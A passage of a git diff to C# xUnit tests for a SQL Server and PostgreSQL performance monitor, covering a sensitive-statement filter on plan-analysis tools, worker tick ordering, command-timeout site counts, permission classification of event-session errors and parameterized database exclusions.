+        {
+            Assert.False(PerformanceMonitor.Common.SensitiveStatements.Names(StoreStatementStats.BuildFunctionSql("config", "public", withInfoView)),
+                $"the reader function's text (withInfoView={withInfoView}) must not be named by the statement filter");
+        }
+
+        Assert.False(PerformanceMonitor.Common.SensitiveStatements.Names(StoreStatementStats.BuildGrantSql("config", ["pgss_reader", "pgss_other"])),
+            "the grant statements must not be named by the statement filter");
+        Assert.False(PerformanceMonitor.Common.SensitiveStatements.Names(StoreStatementStats.CreateExtensionSql));
+
+        /* The guard bites: the pattern's own text, spelled as a literal, IS named. */
+        var literal = "AND s.query !~* " + Literal(StoreStatementStats.SensitiveStatementPattern);
+        Assert.True(PerformanceMonitor.Common.SensitiveStatements.Names(literal),
+            "the shared pattern's own text is expected to be named, which is why the function embeds it encoded");
+    }
+
     /// <summary>The scrub resets only the sensitive statements of THIS database (#3904's review: without the dbid
     /// predicate a superuser service login on a shared cluster reset other databases' entries every pass), and
     /// never through query id 0, which <c>pg_stat_statements_reset</c> reads as "every statement of the role".</summary>
@@ -398,4 +430,27 @@ public void TheToolMasksEveryTextItShows_AndLeavesNormalizedTextAsItWas()
         Assert.Equal(StoreStatementStats.InsufficientPrivilegeText, DarlingMcpStoreQueryStatsTools.ShownText(StoreStatementStats.InsufficientPrivilegeText));
         Assert.Equal("", DarlingMcpStoreQueryStatsTools.ShownText(""));
     }
+
+    /// <summary>
+    /// #5097: a text the shared sensitive-statement filter withheld in SQL arrives as its placeholder, which is a SQL line comment
+    /// that the lexer strips to an empty string. It must read as withheld instead, so a statement withheld by the tools' second
+    /// layer is not mistaken for one that has no text.
+    /// </summary>
+    [Fact]
+    public void ATextTheSharedFilterWithheld_ReadsAsWithheld_NotAsAnEmptyString()
+    {
+        Assert.Equal(StoreStatementStats.WithheldText, DarlingMcpStoreQueryStatsTools.ShownText(PgSensitiveStatementFilter.PlaceholderText));
+        Assert.NotEqual("", DarlingMcpStoreQueryStatsTools.ShownText(PgSensitiveStatementFilter.PlaceholderText));
+    }
+
+    /// <summary>
+    /// #5097: the ranked read applies the shared predicate on top of the reader function's own filter, as the history tool's text
+    /// read does, so the diagnostics bundle's two statement-text members agree on a store whose function body is older than the
+    /// pattern.
+    /// </summary>
+    [Fact]
+    public void TheRankedRead_WrapsTheReaderFunctionsText_InTheSharedSensitiveStatementPredicate()
+    {
+        Assert.Contains(PgSensitiveStatementFilter.SqlPredicate("ranked.query"), DarlingMcpStoreQueryStatsTools.BuildStatementsSql("total_exec_ms"), StringComparison.Ordinal);
+    }
 }
diff --git a/Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs b/Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs
index d81df0c88f..50d6d6d8df 100644
--- a/Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs
+++ b/Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs
@@ -1343,19 +1343,28 @@ public void TheWorker_EvaluatesBothOnTheStoreSelfMetricsTick_AfterTheSweep()
             .Replace("\r\n", "\n", StringComparison.Ordinal);
 
         var tick = worker.IndexOf("if (StampIsDue(_nextStoreMetricsUtc, s_storeMetricsInterval, DateTime.UtcNow))", StringComparison.Ordinal);
-        var window = worker.IndexOf("var checkpointWindow = _checkpointSyncSampler.TakeWindowMax();", tick, StringComparison.Ordinal);
-        var sweep = worker.IndexOf("await SweepStoreSelfMetricsAsync(checkpointWindow, stoppingToken);", tick, StringComparison.Ordinal);
-        var toast = worker.IndexOf("await _selfAlerts.EvaluateToastSlackAsync(_postgres!, stoppingToken);", sweep, StringComparison.Ordinal);
-        var checkpointer = worker.IndexOf("await _selfAlerts.EvaluateCheckpointerPressureAsync(_postgres!, stoppingToken);", toast, StringComparison.Ordinal);
         var nextTick = worker.IndexOf("await Task.Delay(s_sweepInterval, stoppingToken);", tick, StringComparison.Ordinal);
 
-        Assert.True(tick >= 0 && sweep > tick && toast > sweep && checkpointer > toast && checkpointer < nextTick,
+        /* #4970: the loop only launches the tick; the window is taken inside the launcher, ahead of the launch, and
+           the sweep and its evaluators run in the tick body, the sweep first. */
+        var launch = worker.IndexOf("TryStartStoreMetricsTick(DateTime.UtcNow, _checkpointSyncSampler.TakeWindowMax,", tick, StringComparison.Ordinal);
+        Assert.True(tick >= 0 && launch > tick && launch < nextTick, "the loop must launch the store self-metrics tick");
+
+        var launcher = worker.IndexOf("internal bool TryStartStoreMetricsTick(", StringComparison.Ordinal);
+        var window = worker.IndexOf("var checkpointWindow = takeWindow();", launcher, StringComparison.Ordinal);
+        var run = worker.IndexOf("RunTrackedTickAsync(\"hourly store self-metrics tick\"", window, StringComparison.Ordinal);
+        Assert.True(launcher > 0 && window > launcher && run > window, "the launcher must take the sampler's window before the tick that stores it");
+
+        var body = worker.IndexOf("private async Task RunStoreMetricsTickAsync(", run, StringComparison.Ordinal);
+        var sweep = worker.IndexOf("await SweepStoreSelfMetricsAsync(checkpointWindow, stoppingToken);", body, StringComparison.Ordinal);
+        var toast = worker.IndexOf("await _selfAlerts.EvaluateToastSlackAsync(_postgres!, stoppingToken);", sweep, StringComparison.Ordinal);
+        var checkpointer = worker.IndexOf("await _selfAlerts.EvaluateCheckpointerPressureAsync(_postgres!, stoppingToken);", toast, StringComparison.Ordinal);
+        Assert.True(body > 0 && sweep > body && toast > sweep && checkpointer > toast,
             "the two #3783 conditions must be evaluated on the store self-metrics tick, after the sweep that writes their evidence");
 
-        /* #4834: the window is taken ONCE, at the top of the tick and ahead of the sweep, and handed to the sweep
-           that stores it. The evaluator reads it back from the stored row, so it is never handed a window. */
-        Assert.True(window > tick && window < sweep, "the tick must take the sampler's window before the sweep that stores it");
-        Assert.Single(Regex.Matches(worker, @"TakeWindowMax\("));
+        /* #4834: the window is taken ONCE, ahead of the sweep, and handed to the sweep that stores it. The
+           evaluator reads it back from the stored row, so it is never handed a window. */
+        Assert.Single(Regex.Matches(worker, @"TakeWindowMax\b"));
         Assert.Contains("checkpointLongestSync?.SyncMs, checkpointLongestSync?.SampledUtc", worker, StringComparison.Ordinal);
 
         /* Exactly one call site each — the census in DarlingSelfAlertTests asserts they exist; this asserts where. */
diff --git a/Darling/Darling.Tests/StoredPlanAnalysisFilterTests.cs b/Darling/Darling.Tests/StoredPlanAnalysisFilterTests.cs
new file mode 100644
index 0000000000..9df30c7957
--- /dev/null
+++ b/Darling/Darling.Tests/StoredPlanAnalysisFilterTests.cs
@@ -0,0 +1,182 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Security;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.PlanAnalysis;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: the three stored-plan analysis tools (<c>analyze_query_plan</c>, <c>analyze_procedure_plan</c>,
+/// <c>analyze_query_store_plan</c>) lift parameter values and statement text out of the plan into fields of their own,
+/// so the statement filter has to judge the stored XML before the analysis reads it, as <c>analyze_plan_xml</c> does.
+/// A plan the filter withholds whole is answered with one plain sentence, not a parse error.
+/// </summary>
+public sealed class StoredPlanAnalysisFilterTests
+{
+    [Theory]
+    [InlineData("query_stats", "abc123")]
+    [InlineData("procedure_stats", "0x0200abcd")]
+    [InlineData("query_store", "Db:7")]
+    public void TheAnalysisOfTheCanaryPlan_HoldsNoSecret_ForEachStoredPlanSource(string source, string identifier)
+    {
+        string result = DarlingMcpPlanTools.AnalyzeFilteredPlan(
+            StatementScrubCanary.CanaryPlan(), "srv", source, identifier, null, null, default);
+
+        foreach (string needle in StatementScrubCanary.SecretNeedles)
+            Assert.DoesNotContain(needle, result);
+        JsonDocument.Parse(result).Dispose();
+    }
+
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("procedure_stats")]
+    [InlineData("query_store")]
+    public void ACleanPlansAnalysis_IsByteIdenticalToTheUnfilteredAnalysis(string source)
+    {
+        string plan = DarlingPlanFixtures.SamplePlanXml;
+
+        string filtered = DarlingMcpPlanTools.AnalyzeFilteredPlan(plan, "srv", source, "id", null, null, default);
+        string direct = McpPlanAnalysisFormatter.BuildAnalysisResult(plan, "srv", source, "id", null, null, default);
+
+        Assert.Equal(direct, filtered);
+    }
+
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("procedure_stats")]
+    [InlineData("query_store")]
+    [InlineData("xml")]
+    public void APlanTheFilterWithholdsWhole_IsAnsweredWithOnePlainSentence_NotAParseError(string source)
+    {
+        // A document that does not parse is judged as decoded text and withheld whole when it names a sensitive
+        // statement (the same outcome as a spent read budget).
+        string plan = "<ShowPlanXML><StmtSimple StatementText=\"" + SecurityElement.Escape(StatementScrubCanary.CanaryStatement) + "\"";
+        Assert.Equal(SensitiveStatements.PlaceholderText, SensitiveStatements.Xml(plan));
+
+        string result = source == "xml"
+            ? DarlingMcpPlanTools.AnalyzePlanXml(plan)
+            : DarlingMcpPlanTools.AnalyzeFilteredPlan(plan, "srv", source, "id", null, null, default);
+
+        using var doc = JsonDocument.Parse(result);
+        Assert.Equal("This plan was withheld by the statement filter (#4348), so it was not analysed.",
+            doc.RootElement.GetProperty("message").GetString());
+        Assert.DoesNotContain("could not be read", result);
+    }
+
+    /// <summary>
+    /// Every product <c>.cs</c> file under <paramref name="appRoot"/> (not <c>bin</c>, <c>obj</c> or
+    /// <c>deprecated</c>) is read with comments and string contents blanked by <c>CSharpSourceWalker</c>. The formatter's <c>BuildAnalysisResult</c> may appear exactly
+    /// once, qualified, in <paramref name="helperRelativePath"/>: a direct call in any other file, a call through
+    /// <c>using static</c> or an alias, and a method group all name it again and so fail.
+    /// </summary>
+    private static List<string> FormatterCallProblems(string appRoot, string helperRelativePath)
+    {
+        var problems = new List<string>();
+        string helper = Path.GetFullPath(Path.Combine(appRoot, helperRelativePath));
+        int mentions = 0;
+        foreach (string file in Directory.EnumerateFiles(appRoot, "*.cs", SearchOption.AllDirectories))
+        {
+            string relative = Path.GetRelativePath(appRoot, file);
+            string[] parts = relative.Split(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
+            if (parts.Take(parts.Length - 1).Any(p => p is "bin" or "obj" or "deprecated")) continue;
+
+            bool isHelper = string.Equals(Path.GetFullPath(file), helper, StringComparison.OrdinalIgnoreCase);
+            // Read as code, not by line prefix (#3052): the walker blanks line, block and doc comments and string
+            // contents wherever they sit, so a mention inside a block comment's continuation lines or after code on a
+            // line is judged correctly, and code that follows a closing block comment on its line is still read.
+            foreach (string line in CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(file)).Split('\n'))
+            {
+                if (Regex.IsMatch(line, @"\busing\s+static\s+[\w.]*McpPlanAnalysisFormatter\b"))
+                    problems.Add(relative + ": using static of the formatter");
+
+                int here = Regex.Matches(line, @"\bBuildAnalysisResult\b").Count;
+                if (here == 0) continue;
+                mentions += here;
+                bool qualified = Regex.IsMatch(line, @"\bMcpPlanAnalysisFormatter\s*\.\s*BuildAnalysisResult\s*\(");
+                if (!isHelper || !qualified || here != 1)
+                    problems.Add(relative + ": a call to BuildAnalysisResult outside the filtered helper");
+            }
+        }
+
+        if (mentions != 1) problems.Add("expected exactly one call to BuildAnalysisResult in the helper, found " + mentions);
+        return problems;
+    }
+
+    [Fact]
+    public void EveryAnalysisToolHere_ReachesTheAnalyzerOnlyThroughTheFilteredHelper()
+    {
+        string appRoot = Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service");
+        string helperRelativePath = Path.Combine("Mcp", "DarlingMcpPlanTools.cs");
+        string source = File.ReadAllText(Path.Combine(appRoot, helperRelativePath));
+
+        // One direct call to the formatter across the whole app: the helper's own. The four tools call the helper.
+        Assert.Empty(FormatterCallProblems(appRoot, helperRelativePath));
+        Assert.Equal(4, Regex.Matches(source, @"return AnalyzeFilteredPlan\(").Count);
+        Assert.Contains("xml = SensitiveStatements.Xml(xml) ?? SensitiveStatements.PlaceholderText;", source);
+    }
+
+    [Fact]
+    public void TheFormatterCallScan_FlagsADirectCallInAnotherFile_AUsingStaticCall_AndIgnoresBinObjAndDeprecated()
+    {
+        string root = Path.Combine(Path.GetTempPath(), "spaf-" + Guid.NewGuid().ToString("N"));
+        try
+        {
+            Directory.CreateDirectory(root);
+            string helperLine = "return McpPlanAnalysisFormatter.BuildAnalysisResult(xml);";
+            File.WriteAllText(Path.Combine(root, "Helper.cs"),
+                "// McpPlanAnalysisFormatter.BuildAnalysisResult( is named here\n" + helperLine);
+            Assert.Empty(FormatterCallProblems(root, "Helper.cs"));
+
+            // Comments are not code wherever they sit: a block comment's unprefixed continuation lines, a trailing
+            // comment after code, and a string that spells the name are all ignored.
+            File.WriteAllText(Path.Combine(root, "Prose.cs"),
+                "/* McpPlanAnalysisFormatter.BuildAnalysisResult(xml) is the old shape,\n"
+                + "   and this line was once read as code */\n"
+                + "class P { int x = 1; // BuildAnalysisResult( here\n"
+                + "string s = \"BuildAnalysisResult(\"; }");
+            Assert.Empty(FormatterCallProblems(root, "Helper.cs"));
+            // ...but code after a closing block comment on the same line is still code.
+            File.WriteAllText(Path.Combine(root, "Prose.cs"), "/* note */ class P { object o = BuildAnalysisResult(x); }");
+            Assert.NotEmpty(FormatterCallProblems(root, "Helper.cs"));
+            File.Delete(Path.Combine(root, "Prose.cs"));
+
+            foreach (string ignored in new[] { "bin", "obj", "deprecated" })
+            {
+                Directory.CreateDirectory(Path.Combine(root, ignored));
+                File.WriteAllText(Path.Combine(root, ignored, "Skipped.cs"), helperLine);
+            }
+            Assert.Empty(FormatterCallProblems(root, "Helper.cs"));
+
+            string other = Path.Combine(root, "Other.cs");
+            File.WriteAllText(other, "class T { string M() { " + helperLine + " } }");
+            Assert.NotEmpty(FormatterCallProblems(root, "Helper.cs"));
+
+            File.WriteAllText(other,
+                "using static PerformanceMonitor.PlanAnalysis.McpPlanAnalysisFormatter;\nclass T { string M() { return BuildAnalysisResult(xml); } }");
+            Assert.True(FormatterCallProblems(root, "Helper.cs").Count >= 2);
+        }
+        finally
+        {
+            Directory.Delete(root, recursive: true);
+        }
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", ".."));
+}
diff --git a/Darling/Darling.Tests/StragglerCommandTimeoutTests.cs b/Darling/Darling.Tests/StragglerCommandTimeoutTests.cs
index eb24927102..90479cfad2 100644
--- a/Darling/Darling.Tests/StragglerCommandTimeoutTests.cs
+++ b/Darling/Darling.Tests/StragglerCommandTimeoutTests.cs
@@ -28,7 +28,8 @@ namespace Darling.Tests;
 /// true of these three: measured on the pre-change tree, <c>Targets/HypotheticalIndexExperiment.cs</c> holds
 /// 6 command sites and all 6 are this group's, <c>PgPlanForceActionStore.cs</c> holds 4 and all 4 are, and
 /// <c>DarlingCliCommands.cs</c> held 3 and all 3 were (4 since #3752 added the collector toggle verbs'
-/// schedule read-back, which shares the CLI store-read budget). So a file here IS a regime, and the per-file census
+/// schedule read-back, which shares the CLI store-read budget, and 6 since #4961 added the two store reads
+/// <c>--drop-xe-sessions</c> makes before it connects to a server, which share it too). So a file here IS a regime, and the per-file census
 /// counts below are what keep it one — a fourth site added to any of these files fails on the count and asks
 /// a person whether it shares the budget, rather than inheriting the answer by adjacency. <b>The reusable
 /// rule for the remaining groups is to scope at the smallest unit that is EXACT, and to check which unit
@@ -78,7 +79,7 @@ private static readonly (string File, Hop Hop, int Sites, string Constant, Regex
         ("PgPlanForceActionStore.cs", Hop.Store, 4,
             nameof(ServiceCommandDeadlines.PostAnalysisForcePlanSeconds),
             Assigns(@"ServiceCommandDeadlines\.PostAnalysisForcePlanSeconds")),
-        ("DarlingCliCommands.cs", Hop.Store, 4,
+        ("DarlingCliCommands.cs", Hop.Store, 8,   /* 7 since #4938: the collector run-time read-back is a store read of its own; 8 since #5366: the old-format password pin-table check */
             "ServiceCommandDeadlines.Cli{StoreRead,BudgetBackstop}Seconds",
             Assigns(@"ServiceCommandDeadlines\.Cli(?:StoreRead|BudgetBackstop)Seconds")),
     };
@@ -153,7 +154,7 @@ Every pin landed in this sweep before #2940 matches its value regex over the raw
     }
 
     /// <summary>
-    /// The same fourteen sites, judged a SECOND way — through the shared
+    /// The same sixteen sites, judged a SECOND way — through the shared
     /// <see cref="CommandDeadlineScanner"/> that #2938 extracted and #2874's other pins route through.
     ///
     /// <para><b>Additive rather than a replacement, because the two ask different questions.</b> The
@@ -168,7 +169,7 @@ Every pin landed in this sweep before #2940 matches its value regex over the raw
     /// by side on the command plane. If they ever disagree, one of them is wrong and the build says so.</para>
     ///
     /// <para>Every site in these three files writes its deadline as an object initializer ON the
-    /// construction, so it is the scanner's CONSTRUCTION-span half that carries all fourteen; the
+    /// construction, so it is the scanner's CONSTRUCTION-span half that carries all sixteen; the
     /// name-qualified assignment half is inert here and is exercised instead by
     /// <see cref="TheCollectorRunnersUntimedSites_ThreadTheDeadlineAsAParameterInstead"/>, whose nine
     /// timed sites are all assignments.</para>
diff --git a/Darling/Darling.Tests/SwallowedItemFailureTests.cs b/Darling/Darling.Tests/SwallowedItemFailureTests.cs
index 95b67dd594..b5d29de919 100644
--- a/Darling/Darling.Tests/SwallowedItemFailureTests.cs
+++ b/Darling/Darling.Tests/SwallowedItemFailureTests.cs
@@ -66,8 +66,10 @@ public void TheRunner_StampsTheDatabase_OnTheAllFailedRethrow()
     /// <summary>
     /// The Azure arm of the long-query reconcile keeps the #2623 account over the databases it tried to
     /// ENABLE in, throws the first refusal when every database refused (so the worker does not latch and
-    /// the run classifies SESSION_MISSING), and returns the partial note when some did. The DROP arm is
-    /// deliberately not scored: no run is dispatched while disabled.
+    /// the run classifies SESSION_MISSING), and returns the partial note when some did. Drops are
+    /// deliberately not scored: no run is dispatched while disabled, and a drop outside the monitored set is
+    /// not a capture outage. The scored loop runs only on the ENABLE side; drops go through the shared
+    /// LongQueryTraceDatabases.DropEachAsync.
     /// </summary>
     [Fact]
     public void TheAzureReconcile_ThrowsWhenEveryDatabaseRefused_AndReturnsThePartialNoteWhenSomeDid()
@@ -77,19 +79,22 @@ public void TheAzureReconcile_ThrowsWhenEveryDatabaseRefused_AndReturnsThePartia
         Assert.Contains("public static async Task<string?> ReconcileLongQueryCompletionsAsync(", source, StringComparison.Ordinal);
         Assert.Contains("private static async Task<string?> ReconcileLongQueryCompletionsAzureAsync(", source, StringComparison.Ordinal);
 
-        /* Scored only while enabling. */
-        Assert.Contains("if (enabled)\n            {\n                attempted++;\n            }", source, StringComparison.Ordinal);
-        Assert.Contains("if (enabled)\n                {\n                    failed++;\n                    failedDatabases.Add(databaseName);\n                    CollectorFaultDatabase.Stamp(ex, databaseName);\n                    firstFailure ??= ex;\n                }", source, StringComparison.Ordinal);
+        /* Scored only while enabling: the loop over the plan's create list counts, the drops do not. */
+        Assert.Contains("foreach (var databaseName in LongQueryTraceDatabases.Plan(enabled: true, Array.Empty<string>(), monitored, separatelyMonitored, keptElsewhere: Array.Empty<string>()).Create)\n        {\n            cancellationToken.ThrowIfCancellationRequested();\n            attempted++;", source, StringComparison.Ordinal);
+        Assert.Contains("failed++;\n                failedDatabases.Add(databaseName);\n                CollectorFaultDatabase.Stamp(ex, databaseName);\n                firstFailure ??= ex;", source, StringComparison.Ordinal);
+        Assert.Contains("LongQueryTraceDatabases.DropEachAsync(", source, StringComparison.Ordinal);
 
         /* All refused: the first failure, raw, after the summary line. Same predicate as the runners'. */
         Assert.Contains("if (attempted > 0 && failed == attempted && firstFailure is not null)", source, StringComparison.Ordinal);
         Assert.Contains("System.Runtime.ExceptionServices.ExceptionDispatchInfo.Capture(firstFailure).Throw();", source, StringComparison.Ordinal);
 
-        /* Some refused: the shared composer, so the wording is the runners'. */
+        /* Some refused: the shared composer, so the wording is the runners'. The first failure is worded as the per-database
+           line words it, so a create or start refused on Azure carries the caps sentence (#4961). */
         Assert.Contains(
-            "return EnumeratedCollectorDriver.BuildPartialFailureNote(failed, attempted, failedDatabases, firstFailure?.Message);",
+            "var partialNote = EnumeratedCollectorDriver.BuildPartialFailureNote(failed, attempted, failedDatabases, firstFailure is null ? null : AlwaysOnXeSessions.DescribeFailure(firstFailure));",
             source,
             StringComparison.Ordinal);
+        Assert.Contains("return partialNote;", source, StringComparison.Ordinal);
 
         /* The per-database warning that names the refusing database is KEPT - the account rides beside
            it, it does not replace it. */
@@ -109,17 +114,21 @@ public void TheWorker_ClassifiesARefusedSessionAsSessionMissing_BeforeDispatchin
     {
         var source = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
 
-        /* The two slots on the loop state. */
-        Assert.Contains("public string? LongQueryTraceFault { get; set; }", source, StringComparison.Ordinal);
+        /* The slots on the loop state. #5378: the fault became a property over a backing field, so that clearing
+           it also clears the permission flag that rides beside it (a stale flag would mislabel the next fault). */
+        Assert.Contains("public string? LongQueryTraceFault\n", source, StringComparison.Ordinal);
+        Assert.Contains("_longQueryTraceFault = value;\n                if (value is null)\n                {\n                    LongQueryTraceFaultIsPermission = false;", source, StringComparison.Ordinal);
+        Assert.Contains("public bool LongQueryTraceFaultIsPermission { get; set; }", source, StringComparison.Ordinal);
         Assert.Contains("public string? LongQueryTracePartialNote { get; set; }", source, StringComparison.Ordinal);
 
         /* The reconcile fills them: partial note on success (enabled only), fault on a throw (enabled only). */
         Assert.Contains("var partialNote = await DarlingXeSessions.ReconcileLongQueryCompletionsAsync(", source, StringComparison.Ordinal);
         Assert.Contains("server.LongQueryTracePartialNote = enabled ? partialNote : null;", source, StringComparison.Ordinal);
         var reconcileCatch = source.IndexOf("Failed to reconcile the long-query completion XE session: {Message}", StringComparison.Ordinal);
-        var faultSet = source.IndexOf("server.LongQueryTraceFault = refusedIn is null", StringComparison.Ordinal);
+        var faultSet = source.IndexOf("server.LongQueryTraceFault = permissionDenied", StringComparison.Ordinal);
         Assert.True(reconcileCatch > 0 && faultSet > reconcileCatch, "the fault is recorded in the reconcile's catch");
         Assert.Contains("var refusedIn = CollectorFaultDatabase.For(ex, fallback: null);", source, StringComparison.Ordinal);
+        Assert.Contains("server.LongQueryTraceFaultIsPermission = permissionDenied;", source, StringComparison.Ordinal);
 
         /* Reset with the latch on every (re)connect. */
         var latchReset = source.IndexOf("server.LongQueryTraceApplied = null;", StringComparison.Ordinal);
@@ -131,18 +140,24 @@ public void TheWorker_ClassifiesARefusedSessionAsSessionMissing_BeforeDispatchin
         /* RunOneAsync: the fault throws the SESSION_MISSING type BEFORE the dispatch; the partial note is
            merged onto HostNote AFTER it. Both gated on the collector's own declared name. */
         var runOne = source.IndexOf("private async Task<int> RunOneAsync(", StringComparison.Ordinal);
+        /* #5378: the fault throws the PERMISSIONS type when the reconcile's refusal was a permission denial, and
+           the SESSION_MISSING type for any other refusal - both before the dispatch. */
         var faultThrow = source.IndexOf(
-            "if (IsLongQueryCompletionsCollector(collectorName) && server.LongQueryTraceFault is { } traceFault)\n            {\n                throw new DarlingXeSessionMissingException(traceFault);\n            }",
+            "if (IsLongQueryCompletionsCollector(collectorName) && server.LongQueryTraceFault is { } traceFault)\n            {",
+            StringComparison.Ordinal);
+        var permissionThrow = source.IndexOf(
+            "if (server.LongQueryTraceFaultIsPermission)\n                {\n                    throw new DarlingXeSessionDeniedException(traceFault);\n                }\n\n                throw new DarlingXeSessionMissingException(traceFault);\n            }",
             StringComparison.Ordinal);
         var dispatch = source.IndexOf("var result = await run(runner, runtime, cancellationToken);", StringComparison.Ordinal);
         var noteMerge = source.IndexOf(
             "result = result with { HostNote = EnumeratedCollectorDriver.MergeNotes(result.HostNote, partialNote) };",
             StringComparison.Ordinal);
-        Assert.True(runOne > 0 && faultThrow > runOne && dispatch > faultThrow && noteMerge > dispatch,
-            "fault check, then dispatch, then partial-note merge, all inside RunOneAsync");
+        Assert.True(runOne > 0 && faultThrow > runOne && permissionThrow > faultThrow && dispatch > permissionThrow && noteMerge > dispatch,
+            "fault check (permission refusal, else session missing), then dispatch, then partial-note merge, all inside RunOneAsync");
 
         /* The message-only constructor the pre-dispatch throw needs, beside the wrapping one. */
         Assert.Contains("public DarlingXeSessionMissingException(string message) : base(message) { }", source, StringComparison.Ordinal);
+        Assert.Contains("public DarlingXeSessionDeniedException(string message) : base(message) { }", source, StringComparison.Ordinal);
 
         /* Name-guarded on the collector's OWN name, not a literal. */
         Assert.Contains(
diff --git a/Darling/Darling.Tests/SweepBodyDetachPolicyTests.cs b/Darling/Darling.Tests/SweepBodyDetachPolicyTests.cs
index 883835a7f6..665fee5026 100644
--- a/Darling/Darling.Tests/SweepBodyDetachPolicyTests.cs
+++ b/Darling/Darling.Tests/SweepBodyDetachPolicyTests.cs
@@ -25,8 +25,10 @@ namespace Darling.Tests;
 ///
 /// <list type="table">
 ///   <item><description><c>query_store</c> — p50 3,350ms, <b>p90 65,053ms</b>, max 364,202ms</description></item>
-///   <item><description><c>index_object_stats</c> — p90 15,640ms, but 1440-minute cadence (42 runs/day
-///     fleet-wide, one per server per day), so its body impact is amortised to nil</description></item>
+///   <item><description><c>index_object_stats</c> — p90 15,640ms, 1440-minute cadence (42 runs/day
+///     fleet-wide, one per server per day). Its run is detached from the body too (#4938), by cadence rather
+///     than by name, so it is not in the by-name set pinned below. How rarely it runs says nothing about how
+///     long the body would wait on it when it does (43 minutes across 72 databases in a field case)</description></item>
 ///   <item><description><c>procedure_stats</c> — p50 5,982ms, p90 11,964ms, but <b>1-minute tier</b></description></item>
 ///   <item><description><c>query_stats</c> — p50 2,070ms, p90 5,062ms, 1-minute tier</description></item>
 ///   <item><description><c>plan_correction</c> — p50 2,681ms, <b>max 133,934ms</b> — the same bimodal
diff --git a/Darling/Darling.Tests/TargetProviderTests.cs b/Darling/Darling.Tests/TargetProviderTests.cs
index a0a9781e29..d4544957a3 100644
--- a/Darling/Darling.Tests/TargetProviderTests.cs
+++ b/Darling/Darling.Tests/TargetProviderTests.cs
@@ -12,6 +12,7 @@
 using Microsoft.Data.SqlClient;
 using Npgsql;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Targets;
 using Xunit;
 
@@ -151,6 +152,18 @@ public void TreatsALockTimeoutAsAYieldOnlyForCollectorsThatOptIn()
             PostgresTargetProvider.Instance.Classify(pgLockTimeout, yieldsOnLockTimeout: false));
     }
 
+    /// <summary>
+    /// #5378: 15247, what CREATE or ALTER EVENT SESSION raises for a login without ALTER ANY EVENT SESSION, is a permission
+    /// denial for the SQL Server provider, so a collector run that meets it records PERMISSIONS and not ERROR.
+    /// </summary>
+    [Fact]
+    public void ClassifiesAnEventSessionPermissionDenialOnSqlServerAsPermissions()
+    {
+        var denied = LongQueryTraceReadOnlyIntentTests.SqlExceptionFactory.Create(15247, 14, "User does not have permission to perform this action.");
+
+        Assert.Equal(CollectorTargetFault.Permissions, SqlServerTargetProvider.Instance.Classify(denied, false));
+    }
+
     [Fact]
     public void ClassifiesUnrecognizedExceptionsAsUnclassifiedSoTheyStayLoud()
     {
@@ -288,6 +301,32 @@ even though nobody thought to assert against that particular name. */
         Assert.Contains("survivors ONLY", note, StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// The runner's Azure database list is the provider's plan with the server's exclusions only when asked for. The
+    /// long-query trace's drops ask for none, so a session created before a database was excluded is still found there.
+    /// Both lifecycle rigs replace the listing, so this reads the plan the real listing runs.
+    /// </summary>
+    [Fact]
+    public void TheRunnersAzureDatabaseList_AppliesTheServersExclusionsOnlyWhenAsked()
+    {
+        var server = new ServerRuntime
+        {
+            Config = new MonitoredServer { Name = "excl", Host = "excl.database.windows.net", ExcludedDatabases = ["scratch", "tempdb_clone"] },
+            ConnectionString = "Server=tcp:excl.database.windows.net,1433;Initial Catalog=master;Encrypt=True",
+            Target = new CollectorTargetInfo { IsAzureSqlDb = true },
+            StorageName = "excl.database.windows.net",
+            ServerId = 1,
+        };
+
+        var (_, every) = DarlingCollectorRunner.AzureDatabaseListPlan(server, databaseScope: null, applyExclusions: false);
+        Assert.DoesNotContain("NOT IN", every.Text, StringComparison.Ordinal);
+        Assert.Empty(every.Parameters);
+
+        var (_, monitored) = DarlingCollectorRunner.AzureDatabaseListPlan(server, databaseScope: null, applyExclusions: true);
+        Assert.Contains("name NOT IN (@excl_db_0, @excl_db_1)", monitored.Text, StringComparison.Ordinal);
+        Assert.Equal(2, monitored.Parameters.Count);
+    }
+
     /// <summary>
     /// The exclusion list has to reach the right column name on each engine, parameterized rather than
     /// interpolated — a database named with a quote must not be able to alter the enumeration query.
diff --git a/Darling/Darling.Tests/TargetSessionIdCacheTests.cs b/Darling/Darling.Tests/TargetSessionIdCacheTests.cs
new file mode 100644
index 0000000000..6dec68e555
--- /dev/null
+++ b/Darling/Darling.Tests/TargetSessionIdCacheTests.cs
@@ -0,0 +1,238 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The per-physical-connection session id cache (#5132): the unit halves run anywhere, the live halves need a
